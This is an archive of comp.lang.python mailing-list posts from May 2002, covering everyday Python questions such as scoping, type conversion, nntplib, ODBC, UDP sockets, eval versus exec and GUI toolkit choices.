15:54:56 2002 From: owen at nospam.invalid (Russell E. Owen) Date: Thu, 09 May 2002 12:54:56 -0700 Subject: Whats so good about Python? References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: In article , Philip Swartzleonard wrote: >Russell E. Owen || Wed 08 May 2002 11:38:02a: > >> Nothing is perfect. Things I don't like about Python include >> (everybody will have their own list, of course): >> [various] >> - Lack of explicit variable declarations. This makes use of local >> variables vs variables you can see because you are in another >> function's scope a minefield. > >Hm. Would it be helpful to have some kind of flag or something that >prevents a name from attempting to access a variable outside of the >local scope? That is, something like: > >def foo: > lactose = 666 > [45 lines of code] > if $lactose < 12: > kill_things_and_drink_alot(dwarves, $lactose) > >Were $ is a flag saying 'do not attempt to access the variable from >outside of the local scope'. Yeah, i know it's ugly and peraly, but I >can't think of a better way on short notice. Actually, I think "local" would be the ticket -- analogous to the existing "global" -- but it was suggested and rejected when the variable scoping rules were changed. I've tried to use the new scoping several times and basically given up -- I've found the behavior surprising and non-obvious, and I don't want my code to be clear only to a Python guru. -- Russell From lenssen at hitnet.rwth-aachen.de Sun May 5 09:10:15 2002 From: lenssen at hitnet.rwth-aachen.de (Philipp Lenssen) Date: Sun, 5 May 2002 15:10:15 +0200 Subject: Choose Your Own Adventure Message-ID: The Python port of QML (Quest Markup Language) interpreter is now published in final stage: http://questml.com/quests/ QML, held in XML, enables you to create multiple-choice quests (like adventures, or help systems) in easy and cross-browser fashion. Feedback welcome! From cliechti at gmx.net Sun May 12 17:13:50 2002 From: cliechti at gmx.net (Chris Liechti) Date: 12 May 2002 23:13:50 +0200 Subject: converting types References: Message-ID: "ian" wrote in news:LIAD8.54124$7R.63494 at NewsReader: > hi i know its a pain answering newbie questions > that to you lot seem really simple > > but how do i convert an int into a string? > the number variable errors > > number = len(list) > num = "list is " + number + " long" > print num you can use "str()" or "repr()" or C like formating strings: num = "list is %d long" % number have you looked at the tutorial that was installed alonmg with the python docs? it's short and should help you to get the first hurdles. crhis -- Chris From claird at starbase.neosoft.com Thu May 9 14:56:52 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 9 May 2002 13:56:52 -0500 Subject: Python stagnating? References: Message-ID: <1EC57D63941AF92B.4DB0B47E0D21404E.24508EB0691E5AA9@lp.airnews.net> In article , holger krekel wrote: >Chris wrote: >> What is the status of Python development? Or the supporting >> organization? I notice a lot of links in the FAQ and other documents >> are outdated/broken, and surfing the web I saw a lot of references to >> the "Python Starship" but it looks like it hasn't been updated in a >> few years... > >funny, i have the feeling that an _awful_ lot of things are >happening at the same time. Doesn't feel the least as stagnation :-) > >But then, from python.org/starship i only use python.org for >downloads and developer's documentation and these are >really nice and quite up-to-date. So i am not >qualified to further comment on your specific issues. > >It does help to at least every now and then read/post >comp.lang.python or python-list at python.org (where you >posted this messages) because after several weeks you >start to get a 10% overview of what is currently happening. > >You only have to grok 100-200 postings per day :-) > >regards, > > holger > > Newsgroups: comp.lang.python Subject: Re: Python stagnating? Summary: Expires: References: Sender: Followup-To: Distribution: Organization: Unknown Keywords: Cc: In article , holger krekel wrote: . . . >It does help to at least every now and then read/post >comp.lang.python or python-list at python.org (where you >posted this messages) because after several weeks you >start to get a 10% overview of what is currently happening. > >You only have to grok 100-200 postings per day :-) . . . You can adjust your dial to lower volume with the help of and . In any case, no, Python is NOT stagnating. All those broken links you think you're finding are markers of creative destruction, shedding the past in order to move to the future. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From cliechti at gmx.net Sat May 11 14:05:54 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 20:05:54 +0200 Subject: timeoutsocket won't timeout References: Message-ID: Dan Polak wrote in news:MPG.17477570e7f1237e989685 at newszilla.xs4all.nl: > For the life of me I can't figure out why timeoutsocket (version 1.23) > will not timeout here. > Any ideas? ... > (hostname, more, ip) = socket.gethostbyaddr(...) ... because timeoutsocket does not touch that function (it only modifies socket.socket). it is simply passed to the underlying OS function. unfortunately you don't have control over that. chris -- Chris From robert.plant at clara.co.uk Fri May 17 12:29:44 2002 From: robert.plant at clara.co.uk (Robert Plant) Date: Fri, 17 May 2002 17:29:44 +0100 Subject: Python and IIS Message-ID: <1021653047.71194.0@demeter.uk.clara.net> Hi, I am sorry if this seems a stupid post but i really dont know how to do it..... I would like to configure IIS 5 to use python cgi scripts. I have set up the registry to use the "c:\\python.exe" -u %s %s A question about this, i created a new string value called .py is this right?? I am confused as to where to put the python script in IIS, and how to reference the python location in windows, i have only used it in linux before, ie !#/usr/bin...... I put the scripts in a directory in the root folder. Anyway, i put the script in a directory and made a html file, but when i click the button it only prints out the file as text. Please could somebody help me. Thanks rob From donn at u.washington.edu Mon May 20 18:01:58 2002 From: donn at u.washington.edu (Donn Cave) Date: 20 May 2002 22:01:58 GMT Subject: ANSI colored output: How to determine how python was called? References: Message-ID: Quoth pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard): ... | The normal way to check for colour terminal support is through terminal | info capabilities (terminfo). Check for `op', 'AF', `AB', `Sf', `Sb', | 'Co', `pa' and `NC' capabilities, in particular. I forgot details as of | now, but remember I had to fight a bit to get everything right. That is indeed the only bona fide declaration of color capabilities, but it's good for only a small subset of the color capable terminal emulations. If they're coming in as "vt102", it won't help. I personally could benefit from it, as I have my own terminfo description and could easily add those color attributes - but then lynx and other color aware applications will do really horrible things with them, distasteful and unreadable. So I use the colors in place of underline and bold modes, and leave the color attributes undefined. GNU ls really does it right, as far as I'm concerned - there's a flag to say whether you'd like to use color, and then an optional environment variable to control the actual choice of colors (colors vary greatly between one emulation and another, and of sometimes you have a black background instead of white, so some control of the colors may be needed just to get a readable display.) Donn Cave, donn at u.washington.edu From sholden at holdenweb.com Thu May 30 12:00:20 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 30 May 2002 12:00:20 -0400 Subject: Using nntplib References: <3cf633df_2@news.newsgroups.com> Message-ID: <04sJ8.51500$%u2.49899@atlpnn01.usenetserver.com> "jb" ... > Let us assume I send a LIST command to the server. Then I get a short list > of the newsgroups, the server offers. Getting for example 100,000 lines > from 'goliath.newsfeeds.com' takes more than a "few minutes", as Outlook, > that I used to use in my MS-life, puts it. > > Now the point is, that nntplib works synchronously(!), that means that the > thread is waiting on the LIST command until the server sends it's > terminating '.' and all the time the temporary file the socket has created > is polled. > > (1) > This is a terrible method, but the handling of the sommands should be done > in another thread, so maybe it is o.k. > (I thought, I should do all this myself and use QSockets, but alas! they are > not supported by PyQt, however wonderful PyQt is.) > > (2) > But I cannot monitor the whole procedure, that is I cannot see, how many > lines have arrived already. > > (3) QUESTION: > How can I do the monitoring I mentioned in (2)? A possibility is to tune the > file nntplib.py (that is, CHANGING A SYSTEM FILE!). Here is a part of > nntplib.py: > > def getlongresp(self, file=None): > """Internal: get a response plus following text from the server. > Raise various errors if the response indicates an error.""" > > openedFile = None > try: > # If a string was passed then open a file with that name > if isinstance(file, types.StringType): > openedFile = file = open(file, "w") > > resp = self.getresp() > if resp[:3] not in LONGRESP: > raise NNTPReplyError(resp) > list = [] > while 1: > line = self.getline() > if line == '.': > break > if line[:2] == '..': > line = line[1:] > if file: > ############ inserted by J.B. ####### > ### HERE SOMETHING SHOULD BE DONE ### > ##################################### > file.write(line + "\n") > else: > list.append(line) > finally: > # If this method created the file, then it must close it > if openedFile: > openedFile.close() > > return resp, list > > So what should I do? Rasing an excepton? And should not nntplib di this? > You might want to consider using the XOVER NNTP protocol feature if it's available. I came across it after I finished "Python Web Programming", so it's mentioned in the support site at: http://pydish.holdenweb.com/pwp/chp5notes.htm As far as informing the GUI thread about what's been received so far, whether you use LIST or XOVER perhaps you could just put the headers onto a Queue (see that Queue module) and letting the GUI thread take them off. That should ease up any critical-section issues. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From stephen at xemacs.org Mon May 13 01:36:22 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 13 May 2002 14:36:22 +0900 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <873cwyg7dj.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <878z6obodl.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis writes: Martin> Can you quote chapter and verse where it states that? In Martin> respect of this text, how do you interpret No, I can't. It was just wishful thinking on my part. You have my apologies for not rechecking. According to Annex F of ISO 10646-1, the use of the signature is optional, to be decided by the application. Amendment 2 specifically updates that for UTF-8, so you are right. However, I think it very unlikely that many applications on Unix will ever adopt the UTF-8 signature, because it would break cat(1) (among others). And these signatures certainly don't belong in internal objects, like Python strings. They're purely for interapplication communication (as you point out elsewhere, Python surely knows implicitly whether it's BE or LE). XEmacs will support UTF-8 signatures, but (by default) it will complain as loudly as I can make it do without actually interrupting execution of a function. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN From pfortin at pfortin.com Sat May 25 18:10:34 2002 From: pfortin at pfortin.com (Pierre Fortin) Date: Sat, 25 May 2002 18:10:34 -0400 Subject: socket sends unexpected extra word in UDP packet References: <20020525170124.3b2d7755.pfortin@pfortin.com> Message-ID: <20020525181034.42ffddb0.pfortin@pfortin.com> On 25 May 2002 23:32:42 +0200 Chris Liechti wrote: > Pierre Fortin wrote in > news:20020525170124.3b2d7755.pfortin at pfortin.com: > > I created a simple UDP script which does not work with some remote > > hosts... the only difference I can find is that the packet start > > looks like this: > > > > MACdst, MACsrc, 0x0000, 0x0800, 0x45... > > ^^^^^^ This is extra. > > > > Some systems seem to ignore the extra 0x0000; but my customer's server > > doesn't... At this point, I don't > > know precisely what OS the server is running. > > > > I can have a fix tested if someone has a patch... I'm not comfortable > > with the socketmodule.c source; but I'm hunting for the bug in the > > meanwhile... > > it would help when you could post some small script that shows you > problem. not many people will come up with their own test script but if > you post one many people could verify your results and code and give you > some specific advice (or even guess the unknown OS :-). Sorry... I assumed that the problem was a generic bug... the script sends fine from my Mandrake8.2 system (I'm in NC, USA); but sends the extra 0x0000 from a RedHat7.2 system (in India)... Besides, s.sendto() does not give the user access to those parts of the packet; just the target host/port and the data payload... not an excuse for not including, just my thinking... :^) The following script sends correctly from my system; I'll have it tried in India... #!/usr/bin/env python import socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto("Hello World",('1.2.3.4',1234)) Sends: 0000 00 20 78 c9 e1 1a 00 01 02 e8 d8 8d*08 00 45 00 . x??... .??...E. 0010 00 27 00 00 40 00 40 11 74 b4 c0 a8 01 64 01 02 .'.. at .@. t???.d.. 0020 03 04 80 7f 04 d2 00 13 62 96 48 65 6c 6c 6f 20 .....?.. b.Hello 0030 57 6f 72 6c 64 World On the RedHat7.2 system, Python 2.2.1 was not included (1.5.2), so it was built from the tarball. That system gives this on every packet of the production script (won't know the results of the above test script for a day or two...): 0000 00 04 00 01 00 06 00 02 44 16 3a 46 00 00 08 00 ........ D.:F.... 0010 45 00 .... ^^^^^ [Aside: if you're wondering about the weird dst MAC address, ethereal replaces it with: Linux cooked capture Packet type: Sent by us (4) Link-layer address type: 1 Link-layer address length: 6 ] HTH, Pierre From loewis at informatik.hu-berlin.de Wed May 8 12:41:56 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 18:41:56 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: Erno Kuusela writes: > | So far, it appeared that there is wide agreement that identifiers in > | Python should be ASCII only. Do you disagree, i.e. do you *really* > | want to use non-ASCII identifiers? > > what would be the advantage in preventing non-english-speaking people > from using python? There would be no advantage in doing so. However, restricting identifiers to ASCII still allows non-english speaking people to use Python, if they atleast know the Latin alphabet. If they don't know the latin alphabet, they can't use Python even if identifiers can be non-ASCII, since they keywords would still be written with Latin letters. Regards, Martin From steve at lurking.demon.co.uk Mon May 27 13:31:11 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Mon, 27 May 2002 18:31:11 +0100 Subject: Thought on PEP 204 and 276 Message-ID: I can't help being disappointed that PEP 204 was rejected. To me, for i in [0:10] : is much more intuitive than the PEP 276 version for i in 10 : As for the ideas like allowing '[1, 5:10, 20]', combining the syntax with list comprehensions, etc I feel the common policy of KISS (ie just do the minimal slice-like notation) is a good principle. On the issue that it could be confused with slices, consider the following... (1, 2) Is that a tuple containing the values 1 and 2, or is it the actual parameter list for a function call? - you can only tell from the context (ie was there a function name, variable containing a lambda or whatever to the left). Clearly the slice/range-list dilemma is no more confusing than syntax that already exists. As for being non-obvious, I'd say it's as obvious as using the slice notation for slices. In short, PEP 204 seems intuitive to me while PEP 276 makes me worry. Am I alone in thinking this? -- Steve Horne steve at lurking.demon.co.uk From jblazi at hotmail.com Fri May 24 07:40:40 2002 From: jblazi at hotmail.com (jb) Date: Fri, 24 May 2002 13:40:40 +0200 Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> Message-ID: <3cee2338_2@news3.newsgroups.com> holger krekel wrote: > no doubt, you get hundreds of suggestions. pythoneers *love* > these kind of tasks :-) > > for (a,b) in zip(x,y): a.f(b) > > would be the most straigtforward, i guess. Thx. Have you read by any chance Paul Graham's article at http://www.paulgraham.com/icad.html ? He makes a few remarks as to how Python is not (yet) sufficient, if I understod correctly. I should be intrested in a Python expert's opinion on this. -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From donald.braman at yale.edu Thu May 9 18:19:07 2002 From: donald.braman at yale.edu (don) Date: Thu, 9 May 2002 15:19:07 -0700 Subject: odbc advice? References: Message-ID: Obviously you saw the need, so I don't have to tell you how helpful your book is. I'm a big fan. I hope it sells a million copies. I did look at mx and will probably switch over now. "Steve Holden" wrote in message news:uXBC8.45889$m26.19583 at atlpnn01.usenetserver.com... > "don" wrote ... > > I'm trying to update table in a SQL Server 2000 database. The following > (and > > other similar) code hangs Python about half of the time when I run it and > > then, once hung, will hang every time until I reboot. Does anyone have any > > tips on handling odbc connections in Python? I've been hunting around for > a > > while, but haven't found descriptions of hangs like this. My reference of > > choice (Python Web Programming) tells me the ODBC driver isn't ready for > > prime-time. I'm not sure I have any other options, though. Any help > > appreciated. -Don > > > > ++++++++++++++++++++++++ > > > > import dbi, odbc > > > > conn = odbc.odbc('mydb') > > > > cur = conn.cursor() > > > > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > > updateopinion=1""") > > > > mxODBC from www.egenix.com is great, and free for non-commercial purposes. > > If this is a commercial task, I can't imagine many circumstances under which > the cost of the license wouldn't be immediately repaid by lack of hassle on > the ODBC front. > > One other option, if you have a compiler, etc., would be to try recompiling > Dave Cole's Sybase module in the SQl Server environment. Some time ago there > was sufficient commonality between the products that this worked, but I've > heard no recent reports. Then you wouldn't need ODBC at all. > > Great choice of reference material, by the way ;-) > > regards > Steve > -- > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > From chrisl_ak at hotmail.com Fri May 10 18:12:09 2002 From: chrisl_ak at hotmail.com (Chris) Date: Fri, 10 May 2002 22:12:09 -0000 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <7RJC8.43000$zW3.495820@news1.tin.it> Message-ID: My mistake-- I meant Linux Journal. I wasn't even aware there was another Linux magazine! It seems like Linux *Journal* has Python related material relatively frequently. And if this other magazine is beginning to do more Python perhaps that's a good ground floor opportunity as well. From look at replyto.address.invalid Wed May 22 23:58:43 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Thu, 23 May 2002 15:58:43 +1200 Subject: Why does Python mix OO concepts and non OO concepts for operations on basic types? References: Message-ID: <3CEC68F3.3F1ECB33@replyto.address.invalid> Michael Bauers wrote: > > Why do you say x = []; x.append('a'), but get the length with len(a) ? > > Is there a reason for this sort of inconsistency? Something which hasn't been mentioned yet is that the function-call style has some advantages when it comes to adding new protocols to the language. An example of this is the new iter() function. First it looks to see if the object has an __iter__ method, and if not, it falls back on older ways of iterating. So, you can call iter() on any sequence object, old or new, and it will do something sensible. If the new protocol had been defined simply in terms of a method, so that you said obj.iter() instead of iter(obj), this would not have been possible. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From solosnake at solosnake.without_this.freeserve.co.uk Wed May 29 14:33:08 2002 From: solosnake at solosnake.without_this.freeserve.co.uk (Solosnake) Date: Wed, 29 May 2002 19:33:08 +0100 Subject: What does Python offer? References: Message-ID: > > Why would it be useful to a games programmer? > > Obviously. Blade of Darkness uses it ... Hmmm. Answering a 'why' question' with 'Obviously' isn't very useful or informative. > For (potentially) controlling/modifying other games, you will need to know > about extending and embedding, but I suggest you get some straight python > under your belt first ;) I was really enquiring about how python might differ from other langauges, and how this might be pertinant to games programming. e.g. I believe it is an interpreted langugae, as opposed to compiled? So AI code written in Python could be modified by end users? This cannot be done with C++ unless you expect the end user to compile his/her own dll. I do not wish to control or modify other games, I am a student of games programming, I would be using python in my own games projects. I do not wish to invest any time in learning python if it is of no special use, and everything I could do could be done with C++ anyway. How does/can Python be integrated with other languages e.g. C++? I've read this : http://www.python.org/cgi-bin/faqw.py?req=show&file=faq05.007.htp but its scant knowledge to start with. > http://www.python.org/doc/Newbies.html I've looked at these, but they are mostly 'Hello World' for python newbies. > http://www.python.org/doc/current/tut/tut.html Again, a tutorial on the language, as opposed to details about the language's features. > http://www.pygame.org/ > http://pyopengl.sourceforge.net/ I don't want to write my games in python, unless it runs faster then C/C++/assembly? :) Thanks, D?ire From pearu at cens.ioc.ee Tue May 21 03:20:48 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Tue, 21 May 2002 10:20:48 +0300 (EEST) Subject: ANSI colored output: How to determine how python was called? In-Reply-To: Message-ID: On 20 May 2002, Fernando P?rez wrote: > Pearu Peterson wrote: > > > So, my question is: > > > > Are there alternative (hopefully better) ways to decide whether the > > output "device" of python stdout supports ANSI colored text or not? > > > > Thanks, > > Pearu > > Good luck Pearu. Let me know if you find a _robust_ solution to this problem. > IPython uses a lot of colors (by the way, feel free to grab the classes I've > made for it which automate color table management, scheme switching, etc.). I'll do that. Thanks. There are already some interesting solutions in this thread. Thanks to all for contribution! > As far as I can tell, there's no sane way of determining from inside the code > if a given terminal will put out garbage or if it will put out properly > colored text. And when you are trying to run colored text through pagers like > more/less, a whole new can of worms opens up! This can of worms is kept closed by using sys.stdout.isatty(). Try: python -c "import sys;print sys.stdout.isatty()" | less Pearu From Simon.Budig at unix-ag.org Mon May 27 15:41:30 2002 From: Simon.Budig at unix-ag.org (Simon Budig) Date: 27 May 2002 20:41:30 +0100 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> Message-ID: <3cf27dda@si-nic.hrz.uni-siegen.de> Alexander Schmolck wrote: > Simon Budig writes: >> Alexander Schmolck wrote: >> > Simon Budig writes: > > Sorry, I didn't mean to state the obvious, but it seems to be confusing to > many people, especially since assignments can form part of expressions in > many languages. Well, originally this was confusing to me. I now know this fact but sometimes would love to be able to do something like if (match = re.match ("spam", eggs)): print match.group (0) similiarily: Why does "a = b = 2" work, but making the associativity explicit ("a = (b = 2)") does not? But I'd guess this is kind of a holy cow I'd better avoid to touch... :-) > Well, if all your stuff is exclusively math expressions which can only [...] > Anyway, this all seems to be heading down the wrong track. I'm not completely > clear I understand your problem, but is my assumption right that it basically > is: > > "I have string consisting of a series of assignment statements (possibly 0) > followed by an expression and I want to return the value of this > expression?" ? Sorry, my fault. Maybe I should have phrased this question better. I try to be a bit more general. The specific problem of math expressions is not the main problem here. I am just astonished about the uglyness of eval/exec'ing code. Why is it not as simple as: >>> print repr (eval ("3*4")) 12 >>> print repr (eval ("a=2")) None Why is there this distinction between 'single' and 'eval'? The interactive console is able to handle "3*4" as well as "a=2" without having to specify the type of input, why not eval? eval could - for example - return a list of collected return values: eval ("[1,2,3] * 2 ; 3*4 ; 7*8 ; a=2") ---> [[1,2,3,1,2,3], 12, 56] > However, all the tricks you have to play to make this stuff safe are > presumably more of an effort than parsing it properly, especially since > parsing simple math expressions often comes as example code for parser > generators and is such a common problem that it shouldn't be that hard to > find something canned. This is - as always - a tradeoff thingie. I don't see a good reason to implement something that has been solved better - and more general - in python itself again. It is not a permanent service, it is not used for mission critical stuff, and the people that are able to put stuff from the external python into this environment without having references to it probably won't bother. Maybe this is too optimistic, but It is good enough for me. Currently the eval/exec thing is more interesting to me :-) Thanks, Simon -- Simon.Budig at unix-ag.org http://www.home.unix-ag.org/simon/ From paul at boddie.net Wed May 22 07:24:42 2002 From: paul at boddie.net (Paul Boddie) Date: 22 May 2002 04:24:42 -0700 Subject: OT: The sun shines out of big business References: <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> <3CE9FF2F.DD6CF828@cascade-sys.com> <3CEB0536.1E4F6D53@tundraware.com> Message-ID: <23891c90.0205220324.3fd0279b@posting.google.com> Tim Daneliuk wrote in message news:<3CEB0536.1E4F6D53 at tundraware.com>... > what a crock. The people dying by the thousands are doing so because they > have failed to overthrow their dictators and embrace Capitalism. Can you now take this discussion, if it is to continue, to another forum? Firstly so that the number of blatantly irrelevant contributions to this group is reduced, and secondly so that your opinions can be subject to the scrutiny (and in certain cases, ridicule) that they deserve. Paul P.S. Don't bother replying to me directly - I don't have the time or inclination to endlessly debate these topics, which is seemingly the objective of political discussions on non-political newsgroups (after having observed such discussions many times before). From vvainio at tp.spt.fi Fri May 31 05:22:33 2002 From: vvainio at tp.spt.fi (Ville Vainio) Date: 31 May 2002 02:22:33 -0700 Subject: Python/Scripting language performance References: <3CF65A62.2070705@bioeng.ucsd.edu> Message-ID: Curtis Jensen wrote in message news:<3CF65A62.2070705 at bioeng.ucsd.edu>... > I'm looking for an explicit explination of why Scripting languages, > specificaly Python, are slow compared to compiled languages. I've Well, obviously looking up a thingie in a string-indexed dictionary is slower than directly using it with a memory address - byte compiled or no. I guess that's the main bottleneck. From rune.hansen at viventus.no Mon May 20 08:45:23 2002 From: rune.hansen at viventus.no (Rune Hansen) Date: Mon, 20 May 2002 12:45:23 GMT Subject: asyncore sockets and proxy Message-ID: Hello, I've got a streaming server/client setup programmed with asycore. The client connects to the server on port 10002 and holds the connection forever. This is all well until one introduces a proxy... Is it possible to make such a connetion through a proxy? Is it possible to configure asyncore sockets to use a proxy for the connection? Thanks /rune From robin at jessikat.fsnet.co.uk Thu May 9 03:58:48 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Thu, 9 May 2002 08:58:48 +0100 Subject: article: MS in Peruvian open-source nightmare References: <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> Message-ID: In article , Gon?alo Rodrigues writes >I can't resist to add that I completely agree with H. Krekel on this. It >is surely one of the most impressive defenses + myth-debunkings I have >ever read on the issue open-source vs proprietary software. > >Gon?alo Rodrigues On another issue, this letter reads extremely well in English, but has anyone read the original Spanish (I'm making an assumption the original was in that language) and if so how was it translated so well. -- Robin Becker From siegfried.gonzi at kfunigraz.ac.at Tue May 14 13:15:36 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Tue, 14 May 2002 19:15:36 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> Message-ID: <3CE14638.658C6F0E@kfunigraz.ac.at> Michael Gilfix wrote: > > I got the impression from your first post that you were complaining > that Python wasn't freeing memory at all (I could be totally > off). Perhaps the problem might be circular references? Is your > data structure self-referential? If so, you should be using > weakref's. There's nothing python can do to free circular references > because it always thinks they're in use. First I have to say that I installed Linux (SuSE 7.2) on my stationary machine (Pentium III, 450 MHz, 128 MB RAM). And this first email is composed on Linux and Netscape. I plan to install also Linux on my laptop (if someone has any hints for my Gericom machine, please let me know; installing on may stationary machine was smooth and unproblematically; only a Mac OS installation is easier). I hope Python's behavior on Linux is somewhat better. Python disposes the memory after completing the calculation (I can see it in the task manager). But nobody has answered my question: Is Python just a garbage collector or a garbace collector *and* remover? The hint: reboot your Krempel every hour does not always work. In the afternoon I started a calculation at about 3 pm. I am sitting (in the meantime I have even successfully installed Linux) still here and wait until the calculation comes to an end (note: before I fired up the calculation I rebooted the system). I cannot comprehend the following: As I wrote, I call 8 times the same function, and it is interesting to observe that the first call to the function takes about 10-15 minutes, the second call also 10-15minutes, but the successive calls become always longer and longer; after 4 hours I am at my 6. call and still waiting. I have to underline that I do not use any object oriented programming technique (I assume you meant this when you write "self"). I use simple functions. Okay I have to admit that I make heavy use of the following scheme: def f(list,list2): erg = [] for k in range( len(list) ): erg.append( function_on_list2( list2[j] ) ) return erg I find the above very readable (and often better in style than Numeric's idiosyncrasy). I hope I can make the transition to Linux in the next few month (hoping that the installation on my laptop will succeed). Burschen mein Vehrerung, Siegfried Gonzi From grante at visi.com Wed May 22 11:25:30 2002 From: grante at visi.com (Grant Edwards) Date: Wed, 22 May 2002 15:25:30 GMT Subject: Emulating Pascal input References: Message-ID: In article , Michael Williams wrote: [...] > This has the limitation that the user must pass the number of > results they expect back. This is done implicitly in the Pascal > version too (the number of variables passed to the function). > However, error checking is difficult as this version stands. > > If the student using the ninput function does, e.g. > >>>> x = ninput(2) > 5 6.0 > [5, 6.0] That looks pretty decent to me. What about it makes error detection difficult? > This is possibly what should be expected. However, passing the > numerical argument representing the number of results expected > does not strike me as a particularly graceful solution. You could write a function that scans and converts an entire line and returns however many numbers it finds (somebody already posted something similar, so I'll leave the implimentation as an exercise for the reader): x,y = readNumLine() If readNumLine() returns something of length other than 2 (in our example), you get an exception which you can trap. Or you can check the length explicitly: v = readNumLine() if len(v) != 2: bonk() x,y = v > We would prefer something like the Pascal way, where the global > variables in which the results are to be stored are passed as > parameters. Can anyone suggest a way of doing this? Python doesn't really work that way. If you change it so it does, then it's not Python any more. :) It's possibly to fake something by digging into Python's internals and looking up the names of the parameters and rebinding them in the global namespace, but that will break if the parameters are not global. It will also earn the scorn of the PSA underground, and that's too horrible to contemplate. If you really want to do it the Pascal way, then you should teach Pascal. If you want to teach Python, then you're going to be far better off in the long run learning to do things the "Python way". That said, from the "here's some more rope" department... Another way to fake Pascals "var" parameters is to pass a reference to a list, and modify that list: >>> def foo(vec): ... vec[0] = 1 ... vec[1] = 3 ... >>> v = [9,8] >>> foo(v) >>> print v [1, 3] >>> IMO, this is also evil, though maybe less so than looking up the names of parameters and changing their bindings in the global namespace (which is what you describe). > And if such an equivalent to the Pascal construct was > implemented, what would be the chances of getting it included > in, say, the string module of core Python. It would be a fundamental change in the philosophy, structure, and character of the language. My first order estimate of the chances for such a change being incorporated are 0. But, I'm not the one who decides such things... > We would like such a function but would be reluctant to use it > as we would then be teaching our students a ``dialect'' of > Python. -- Grant Edwards grante Yow! Am I accompanied by at a PARENT or GUARDIAN? visi.com From rstephens at vectron.com Fri May 10 10:14:28 2002 From: rstephens at vectron.com (Ron Stephens) Date: 10 May 2002 07:14:28 -0700 Subject: Which GUI Library to Use References: Message-ID: This, to me, is the $64M question. In my case, learning GUI programming is the real issue. I can do everything I want to do on the command line with Python, which is really cool, but I still have a long way to go on GUI's. Please note the release of a new PythonCard beta version just below this thread on the newsgroup. I think it has great potential; but for a newbie with no time on my hands, I find installing it on Linux and learning it to be not easy. I really think PyQt and BlackAdder can do what I want, but due to extensive business travel the last few months (and the next few) I just have not had the time to really sit down and study the Rempt book as much as I need. I have learned one thing; there is no royal road to learning GUI programming. I am going to have to do the hard work. It's that simple. Good luck to you. By the way, yet another option is using Jython and the Java GUI tools. And there was an article in one of the Linux magazines a year ago that extolled the virtues of PyGTK and Glade, and it sounded like an easy to learn option, relatively speaking. So many choices. Personnally, right at this moment, my desire is to somehow create good GUI versions of some Python scripts of mine, specifically for deployemnt on the new Linux based Sharp Zaurus. The plethora of options is overwhelming (which is good, but I find myself scattering my thoughts ;-))) My Python scripts run perfectly well from the bash shell command line on the Zaurus. The Zaurus is based on the Trolltech QT toolkit. So, optimally, I should probably learn PyQt and deploy as native QT apps on the Zaurus. But I don't know how well or how easily the PyQt apps would port to the Zaurus. The Zaurus also runs Jeode, a JVM. I have converted some of my scripts to Jython and then compiled them using jythonc. I am considering how hard it would be to use the available java compilers for the arm microprocessor so that they can be automatically installed on the Zaurus as Jeode apps (using ipkg type installers for the arm systems). But I would probably stil need to create gui's using jython and awt. Someday, someone may even port one or more of the Python gui toolkits to the Zaurus (many libraries for Python for the Zaurus are available at Riverbank at http://www.riverbankcomputing.co.uk/zaurus/index.php but not Tkinter or wxPython etc. I suspect that I will need to be satisfied for now with my command line Python scripts on the Zaurus (which I find pretty cool all by itself ;-))), but that for real slick GUI versions my best bet is to really learn BlackAdder and PytQt programming starting with the Rempt book; but I am always intrigued with "shortcuts" and thus I am still "eyeing" the jythonc, compiled java option, although what will it gain me if I find learning AWT to be as hard as learning QT??? Any comments would be welcome as always ;-)))) (But isn't it really gratifying that even a newbie hobbyist ike me can use Python to get as far as I am already, to run my own Python scripts on the Zaurus? But if I could create a good gui, others might find my scripts to be fun and usefull 